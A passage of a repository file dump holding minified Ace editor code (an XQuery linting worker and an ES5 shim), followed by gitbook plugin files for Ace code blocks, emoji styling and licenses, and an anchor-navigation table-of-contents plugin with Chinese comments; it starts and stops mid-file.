e.sc<=t.col&&t.col<=e.ec+(n?1:0);if(e.sl<t.line&&e.el===t.line)return t.col<=e.ec+(n?1:0)}},findNode:function(e,t){if(!e)return;var n=e.pos;if(this.inRange(n,t)===!0){for(var r in e.children){var i=e.children[r],s=this.findNode(i,t);if(s!==undefined)return s}return e}return},astAsXML:function(e,t){var n=\"\";t=t?t:\"\",e.value&&(n+=t+\"<\"+e.name+\">\"+e.value+\"</\"+e.name+\">\\n\"),n+=t+\"<\"+e.name+\">\\n\";var r=this;return e.children.forEach(function(e){n+=r.astAsXML(e,t+\"  \")}),n+=t+\"</\"+e.name+\">\\n\",n}}},{}],12:[function(e,t,n){\"use strict\";var r=e(\"./parsers/JSONiqParser\").JSONiqParser,i=e(\"./parsers/XQueryParser\").XQueryParser,s=e(\"./parsers/JSONParseTreeHandler\").JSONParseTreeHandler,o=e(\"./compiler/translator\").Translator,u=e(\"./formatter/style_checker\").StyleChecker,a=e(\"../lib/completion/completer\"),f=n.createStaticContext=function(){var t=e(\"./compiler/static_context\").StaticContext;return new t},l=function(e,t){return e?(Object.keys(t).forEach(function(n){e[n]===undefined&&(e[n]=t[n])}),e):t},c=function(e,t,n){var r=e.substring(0,t),i=e.substring(0,n),s=r.split(\"\\n\").length,o=t-r.lastIndexOf(\"\\n\"),u=i.split(\"\\n\").length,a=n-i.lastIndexOf(\"\\n\"),f={sl:s-1,sc:o-1,el:u-1,ec:a-1};return f};n.XQLint=function(e,t){t=t?t:{},t=l(t,{styleCheck:!1});var n;this.getAST=function(){return n};var h=[];this.getMarkers=function(){return h},this.getMarkers=function(e){var t=[];return h.forEach(function(n){(n.type===e||e===undefined)&&t.push(n)}),t},this.getErrors=function(){return this.getMarkers(\"error\")},this.getWarnings=function(){return this.getMarkers(\"warning\")},this.getCompletions=function(t){return a.complete(e,n,d,t)};var p=!1;this.hasSyntaxError=function(){return p};var d=t.staticContext?t.staticContext:f(),v=t.fileName?t.fileName:\"\",m=v.substring(v.length-\".jq\".length).indexOf(\".jq\")!==-1&&e.indexOf(\"xquery version\")!==0||e.indexOf(\"jsoniq version\")===0,g=new s(e),y=m?new r(e,g):new i(e,g);try{y.parse_XQuery()}catch(b){if(!(b instanceof y.ParseException))throw b;p=!0,g.closeParseTree();var w=c(e,b.getBegin(),b.getEnd()),E=y.getErrorMessage(b);w.sc===w.ec&&w.ec++,h.push({pos:w,type:\"error\",level:\"error\",message:E})}n=g.getParseTree(),t.styleCheck&&(h=h.concat((new u(n,e)).getMarkers()));var S=new o(d,n);h=h.concat(S.getMarkers())}},{\"../lib/completion/completer\":6,\"./compiler/static_context\":4,\"./compiler/translator\":5,\"./formatter/style_checker\":7,\"./parsers/JSONParseTreeHandler\":8,\"./parsers/JSONiqParser\":9,\"./parsers/XQueryParser\":10}]},{},[12])(12)}),define(\"ace/mode/xquery_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/xquery/xqlint\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../worker/mirror\").Mirror,s=e(\"./xquery/xqlint\"),o=s.XQLint,u=function(e){return function(t){var n=e,r=n[t],i={},s={};return r.functions.forEach(function(e){s[t+\"#\"+e.name+\"#\"+e.arity]={params:[]},e.parameters.forEach(function(n){s[t+\"#\"+e.name+\"#\"+e.arity].params.push(\"$\"+n.name)})}),r.variables.forEach(function(e){var n=e.name.substring(e.name.indexOf(\":\")+1);i[t+\"#\"+n]={type:\"VarDecl\",annotations:[]}}),{variables:i,functions:s}}},a=t.XQueryWorker=function(e){i.call(this,e),this.setTimeout(200),this.opts={styleCheck:!1};var t=this;this.sender.on(\"complete\",function(e){if(t.xqlint){var n={line:e.data.pos.row,col:e.data.pos.column},r=t.xqlint.getCompletions(n);t.sender.emit(\"complete\",r)}}),this.sender.on(\"setAvailableModuleNamespaces\",function(e){t.availableModuleNamespaces=e.data}),this.sender.on(\"setModuleResolver\",function(e){t.moduleResolver=u(e.data)})};r.inherits(a,i),function(){this.onUpdate=function(){this.sender.emit(\"start\");var e=this.doc.getValue(),t=s.createStaticContext();this.moduleResolver&&t.setModuleResolver(this.moduleResolver),this.availableModuleNamespaces&&(t.availableModuleNamespaces=this.availableModuleNamespaces);var n={styleCheck:this.styleCheck,staticContext:t};this.xqlint=new o(e,n),this.sender.emit(\"markers\",this.xqlint.getMarkers())}}.call(a.prototype)}),define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace.css",
    "content": ".aceCode {\n  font-size: 14px !important;\n}\n\n.ace {\n  border: 2px solid #EBEBEB;\n  border-radius: 2px;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace.js",
    "content": "require([\"gitbook\", \"jquery\"], function (gitbook, $) {\n\n  var init = function () {\n    var aceCount = 0;\n\n    $('.ace').each(function () {\n      var $ace = $(this).children('.aceCode');\n      var config = $ace.data('config');\n      var id = 'ace' + (aceCount++);\n      $ace.attr('id', id);\n\n      var editor = ace.edit(id);\n\n      editor.setOptions({\n        autoScrollEditorIntoView: true,\n        maxLines: 100\n      });\n\n      if (!config.edit)\n        editor.setReadOnly(true);\n\n      if (!config.theme)\n        editor.setTheme('ace/theme/chrome');\n      else\n        editor.setTheme('ace/theme/' + config.theme);\n\n      if (!config.check)\n        editor.session.setOption(\"useWorker\", false);\n\n      editor.getSession().setMode('ace/mode/' + config.lang);\n    });\n  };\n\n  gitbook.events.bind(\"page.change\", init);\n});\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/pdf.css",
    "content": "pre, code {\n    tab-size: 2;\n}\n\n/* http://jmblog.github.com/color-themes-for-google-code-highlightjs */\n\n/* Tomorrow Comment */\n.hljs-comment,\n.hljs-quote {\n  color: #8e908c;\n}\n\n/* Tomorrow Red */\n.hljs-variable,\n.hljs-template-variable,\n.hljs-tag,\n.hljs-name,\n.hljs-selector-id,\n.hljs-selector-class,\n.hljs-regexp,\n.hljs-deletion {\n  color: #c82829;\n}\n\n/* Tomorrow Orange */\n.hljs-number,\n.hljs-built_in,\n.hljs-builtin-name,\n.hljs-literal,\n.hljs-type,\n.hljs-params,\n.hljs-meta,\n.hljs-link {\n  color: #f5871f;\n}\n\n/* Tomorrow Yellow */\n.hljs-attribute {\n  color: #eab700;\n}\n\n/* Tomorrow Green */\n.hljs-string,\n.hljs-symbol,\n.hljs-bullet,\n.hljs-addition {\n  color: #718c00;\n}\n\n/* Tomorrow Blue */\n.hljs-title,\n.hljs-section {\n  color: #4271ae;\n}\n\n/* Tomorrow Purple */\n.hljs-keyword,\n.hljs-selector-tag {\n  color: #8959a8;\n}\n\n.hljs {\n  display: block;\n  overflow-x: auto;\n  background: white;\n  color: #4d4d4c;\n  padding: 0.5em;\n}\n\n.hljs-emphasis {\n  font-style: italic;\n}\n\n.hljs-strong {\n  font-weight: bold;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-advanced-emoji/LICENSE-IMAGES.md",
    "content": "octocat, squirrel, shipit\nCopyright (c) 2012 GitHub Inc. All rights reserved.\n\nbowtie, neckbeard\nCopyright (c) 2012 37signals, LLC. All rights reserved.\n\nfeelsgood, finnadie, goberserk, godmode, hurtrealbad, rage 1-4, suspect\nCopyright (c) 2012 id Software. All rights reserved.\n\ntrollface\nCopyright (c) 2012 whynne@deviantart. All rights reserved.\n\nAll other images\nCopyright (c) 2012 Apple Inc. All rights reserved.\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-advanced-emoji/LICENSE.md",
    "content": "THE MIT LICENSE (MIT)\nCopyright © 2014 Hassan Khan, http://hassankhan.me <contact@hassankhan.me>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-advanced-emoji/emoji-book.css",
    "content": "/* adjusted for gitbook styling. original css from emojify.js */\n.emoji {\n  width: 1em;\n  height: 1em;\n  display: inline-block;\n  margin-top: 0;\n  background-size: contain;\n}"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-advanced-emoji/emoji-website.css",
    "content": "/* adjusted for gitbook styling. original css from emojify.js */\n.emoji {\n  width: 1.3em;\n  height: 1.3em;\n  display: inline-block;\n  margin-bottom: 0.2em;\n  background-size: contain;\n}"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-anchor-navigation-ex/lib/config.js",
    "content": "require('./log');\r\n\r\nconst defaultConfig = {\r\n    // 标题是否显示层级序号\r\n    showLevel: true,\r\n    // 页面内的序号是否与 summary.md 中官方默认主题生成的序号相关联\r\n    associatedWithSummary: true,\r\n    printLog: false,  // 是否打印日志，就如同自己使用了prism，但是很容易写错他的定义，比如css写成了csss,文章太多的话，生成出错，但是找不到是那篇文章，打开该选项就能定位了\r\n    multipleH1: true, // 多H1模式么？一般正常的文章一个md文件只有一个H1标题，这个时候就适合关闭该选项，生成的标题不会多一个 1. 出来\r\n    // 模式：分为三种：float：浮动导航、pageTop：页面内部顶部导航、null:不显示导航\r\n    mode: \"float\",\r\n    showGoTop: true, //是否显示返回顶部摁扭\r\n    float: { //浮动导航设置\r\n        floatIcon: \"fa fa-navicon\",\r\n        showLevelIcon: false,  //是否显示层级图标\r\n        level1Icon: \"fa fa-hand-o-right\",\r\n        level2Icon: \"fa fa-hand-o-right\",\r\n        level3Icon: \"fa fa-hand-o-right\"\r\n    },\r\n    pageTop: {\r\n        showLevelIcon: false,  //是否显示层级图标\r\n        level1Icon: \"fa fa-hand-o-right\",\r\n        level2Icon: \"fa fa-hand-o-right\",\r\n        level3Icon: \"fa fa-hand-o-right\"\r\n    },\r\n    // 官方默认主题 层级开关\r\n    themeDefault: {\r\n        showLevel: false\r\n    }\r\n}\r\n\r\n/**\r\n * 处理默认参数\r\n * @param defaultConfig\r\n * @param config\r\n */\r\nfunction handler(defaultConfig, config) {\r\n    if (config) {\r\n        for (var item in defaultConfig) {\r\n            if (item in config) {\r\n                defaultConfig[item] = config[item];\r\n            }\r\n        }\r\n    }\r\n}\r\n/**\r\n * 处理所有的配置参数\r\n * @param bookIns\r\n */\r\nfunction handlerAll(bookIns) {\r\n    var config = bookIns.config.get('pluginsConfig')['anchor-navigation-ex'];\r\n    var themeDefaultConfig = bookIns.config.get('pluginsConfig')['theme-default'];\r\n    handler(defaultConfig, config);\r\n    handler(defaultConfig.themeDefault, themeDefaultConfig);\r\n\r\n    if (config.isRewritePageTitle) {\r\n        console.error(\"error:\".error +\r\n            \"plugins[anchor-navigation-ex]：isRewritePageTitle 配置只支持0.3.x 版本，\" +\r\n            \"请到https://github.com/zq99299/gitbook-plugin-anchor-navigation-ex查看最新版本的配置项\");\r\n        console.log(\"\");\r\n        console.error(\"error:\".error +\r\n            \"plugins[anchor-navigation-ex]：isRewritePageTitle Configuration only supports 0.3.x version，\" +\r\n            \"Please check here https://github.com/zq99299/gitbook-plugin-anchor-navigation-ex  for the latest version of the configuration item\");\r\n    }\r\n}\r\n/**\r\n * 本类中 config 单例共享\r\n * @type {{config: {showLevel: boolean, associatedWithSummary: boolean, mode: string, float: {showLevelIcon: boolean, level1Icon: string, level2Icon: string, level3Icon: string}, top: {showLevelIcon: boolean, level1Icon: string, level2Icon: string, level3Icon: string}, themeDefault: {showLevel: boolean}}, handler: handler, handlerAll: handlerAll}}\r\n */\r\nmodule.exports = {\r\n    config: defaultConfig,\r\n    handler: handler,\r\n    handlerAll: handlerAll\r\n}\r\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-anchor-navigation-ex/lib/log.js",
    "content": "var colors = require('colors');\r\ncolors.setTheme({\r\n    silly: 'rainbow',\r\n    input: 'grey',\r\n    verbose: 'cyan',\r\n    prompt: 'grey',\r\n    info: 'green',\r\n    data: 'grey',\r\n    help: 'cyan',\r\n    warn: 'yellow',\r\n    debug: 'blue',\r\n    error: 'red'\r\n});\r\n\r\nmodule.exports = colors;\r\n\r\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-anchor-navigation-ex/lib/plugin.js",
    "content": "var cheerio = require('cheerio');\r\nvar slug = require('github-slugid');\r\nvar Config = require('./config.js');\r\n\r\n\r\n/**\r\n * 处理toc相关，同时处理标题和id\r\n * @param $\r\n * @param option\r\n * @param page\r\n * @returns {Array} 返回处理好的tocs合集\r\n */\r\nfunction handlerTocs($, page, modifyHeader) {\r\n    var config = Config.config;\r\n    var tocs = [];\r\n\r\n    var count = {\r\n        h1: 0,\r\n        h2: 0,\r\n        h3: 0\r\n    };\r\n    var titleCountMap = {}; // 用来记录标题出现的次数\r\n    var h1 = 0, h2 = 0, h3 = 0;\r\n    $(':header').each(function (i, elem) {\r\n        var header = $(elem);\r\n        var id = addId(header, titleCountMap);\r\n\r\n        if (id) {\r\n            switch (elem.tagName) {\r\n                case \"h1\":\r\n                    handlerH1Toc(config, count, header, tocs, page.level, modifyHeader);\r\n                    break;\r\n                case \"h2\":\r\n                    handlerH2Toc(config, count, header, tocs, page.level, modifyHeader);\r\n                    break;\r\n                case \"h3\":\r\n                    handlerH3Toc(config, count, header, tocs, page.level, modifyHeader);\r\n                    break;\r\n                default:\r\n                    titleAddAnchor(header, id);\r\n                    break;\r\n            }\r\n        }\r\n    });\r\n    // 不然标题重写就没有效果，如果在外面不调用这句话的话\r\n    page.content = $.html();\r\n    return tocs;\r\n}\r\n\r\n/**\r\n * 处理锚点\r\n * @param header\r\n * @param titleCountMap 用来记录标题出现的次数\r\n * @returns {string}\r\n */\r\nfunction addId(header, titleCountMap) {\r\n    var id = header.attr('id') || slug(header.text());\r\n    var titleCount = titleCountMap[id] || 0;\r\n    titleCountMap[id] = titleCount + 1;\r\n    // console.log('id:', id, 'n:', titleCount, 'hashmap:', titleCountMap)\r\n    if (titleCount) {//此标题已经存在  null/undefined/0/NaN/ 表达式时，统统被解释为false\r\n        id = id + '_' + titleCount;\r\n    }\r\n    header.attr(\"id\", id);\r\n    return id;\r\n}\r\n\r\n/**\r\n * 标题增加锚点效果\r\n * @param header\r\n * @param id\r\n */\r\nfunction titleAddAnchor(header, id) {\r\n    header.prepend('<a name=\"' + id + '\" class=\"anchor-navigation-ex-anchor\" '\r\n        + 'href=\"#' + id + '\">'\r\n        + '<i class=\"fa fa-link\" aria-hidden=\"true\"></i>'\r\n        + '</a>');\r\n}\r\n\r\n/**\r\n * 处理h1\r\n * @param count 计数器\r\n * @param header\r\n * @param tocs 根节点\r\n */\r\nfunction handlerH1Toc(config, count, header, tocs, pageLevel, modifyHeader) {\r\n    var title = header.text();\r\n    var id = header.attr('id');\r\n    var level = ''; //层级\r\n\r\n    if (config.showLevel) {\r\n        //层级显示仅在需要的时候处理\r\n        count.h1 += 1;\r\n        count.h2 = 0;\r\n        count.h3 = 0;\r\n        if (config.multipleH1) {\r\n            level = count.h1 + '. ';\r\n        } else {\r\n            level = ' ';\r\n        }\r\n        // 是否与官网默认主题层级序号相关联\r\n        if (config.associatedWithSummary && config.themeDefault.showLevel) {\r\n            level = pageLevel + '.' + level;\r\n        }\r\n        if (!modifyHeader) {\r\n            level  = '';\r\n        }\r\n        header.text(level + title); //重写标题\r\n    }\r\n    titleAddAnchor(header, id);\r\n    tocs.push({\r\n        name: title,\r\n        level: level,\r\n        url: id,\r\n        children: []\r\n    });\r\n}\r\n\r\n/**\r\n * 处理h2\r\n * @param count 计数器\r\n * @param header\r\n */\r\nfunction handlerH2Toc(config, count, header, tocs, pageLevel, modifyHeader) {\r\n    var title = header.text();\r\n    var id = header.attr('id');\r\n    var level = ''; //层级\r\n\r\n    if (tocs.length <= 0) {\r\n        //一级节点为空时，生成一个空的一级节点，让二级节点附带在这个上面\r\n        // 在显示层级的时候不乱\r\n        if (config.showLevel) {\r\n            count.h1 += 1;\r\n        }\r\n        tocs.push({\r\n            name: \"\",\r\n            level: \"\",\r\n            url: \"\",\r\n            children: []\r\n        });\r\n    }\r\n\r\n    var h1Index = tocs.length - 1;\r\n    var h1Toc = tocs[h1Index];\r\n    if (config.showLevel) {\r\n        count.h2 += 1;\r\n        count.h3 = 0;\r\n        if (config.multipleH1) {\r\n            level = (count.h1 + '.' + count.h2 + '. ');\r\n        } else {\r\n            level = (count.h2 + '. ');\r\n        }\r\n        if (config.associatedWithSummary && config.themeDefault.showLevel) {\r\n            level = pageLevel + '.' + level;\r\n        }\r\n        if (!modifyHeader) {\r\n            level  = '';\r\n        }\r\n        header.text(level + title); //重写标题\r\n    }\r\n    titleAddAnchor(header, id);\r\n    h1Toc.children.push({\r\n        name: title,\r\n        level: level,\r\n        url: id,\r\n        children: []\r\n    });\r\n}\r\n\r\n/**\r\n * 处理h3\r\n * @param count 计数器\r\n * @param header\r\n */\r\nfunction handlerH3Toc(config, count, header, tocs, pageLevel, modifyHeader) {\r\n    var title = header.text();\r\n    var id = header.attr('id');\r\n    var level = ''; //层级\r\n\r\n    if (tocs.length <= 0) {\r\n        //一级节点为空时，生成一个空的一级节点，让二级节点附带在这个上面\r\n        if (config.showLevel) {\r\n            count.h1 += 1;\r\n        }\r\n        tocs.push({\r\n            name: \"\",\r\n            level: \"\",\r\n            url: \"\",\r\n            children: []\r\n        });\r\n    }\r\n    var h1Index = tocs.length - 1;\r\n    var h1Toc = tocs[h1Index];\r\n    var h2Tocs = h1Toc.children;\r\n    if (h2Tocs.length <= 0) {\r\n        //二级节点为空时，生成一个空的二级节点，让三级节点附带在这个上面\r\n        if (config.showLevel) {\r\n            count.h2 += 1;\r\n        }\r\n        h2Tocs.push({\r\n            name: \"\",\r\n            level: \"\",\r\n            url: \"\",\r\n            children: []\r\n        });\r\n    }\r\n    var h2Toc = h1Toc.children[h2Tocs.length - 1];\r\n\r\n    if (config.showLevel) {\r\n        count.h3 += 1;\r\n        if (config.multipleH1) {\r\n            level = (count.h1 + '.' + count.h2 + '.' + count.h3 + '. ');\r\n        } else {\r\n            level = (count.h2 + '.' + count.h3 + '. ');\r\n        }\r\n        if (config.associatedWithSummary && config.themeDefault.showLevel) {\r\n            level = pageLevel + \".\" + level;\r\n        }\r\n        if (!modifyHeader) {\r\n            level  = '';\r\n        }\r\n        header.text(level + title); //重写标题\r\n    }\r\n    titleAddAnchor(header, id);\r\n    h2Toc.children.push({\r\n        name: title,\r\n        level: level,\r\n        url: id,\r\n        children: []\r\n    });\r\n}\r\n\r\n/**\r\n * 处理浮动导航：拼接锚点导航html，并添加到html末尾，利用css 悬浮\r\n * @param tocs\r\n * @returns {string}\r\n */\r\nfunction handlerFloatNavbar($, tocs) {\r\n    var config = Config.config;\r\n    var float = config.float;\r\n    var floatIcon = float.floatIcon;\r\n    var level1Icon = '';\r\n    var level2Icon = '';\r\n    var level3Icon = '';\r\n    if (float.showLevelIcon) {\r\n        level1Icon = float.level1Icon;\r\n        level2Icon = float.level2Icon;\r\n        level3Icon = float.level3Icon;\r\n    }\r\n\r\n    var html = \"<div id='anchor-navigation-ex-navbar'><i class='\" + floatIcon + \"'></i><ul>\";\r\n    for (var i = 0; i < tocs.length; i++) {\r\n        var h1Toc = tocs[i];\r\n        if (h1Toc.name){\r\n            html += \"<li><span class='title-icon \" + level1Icon + \"'></span><a href='#\" + 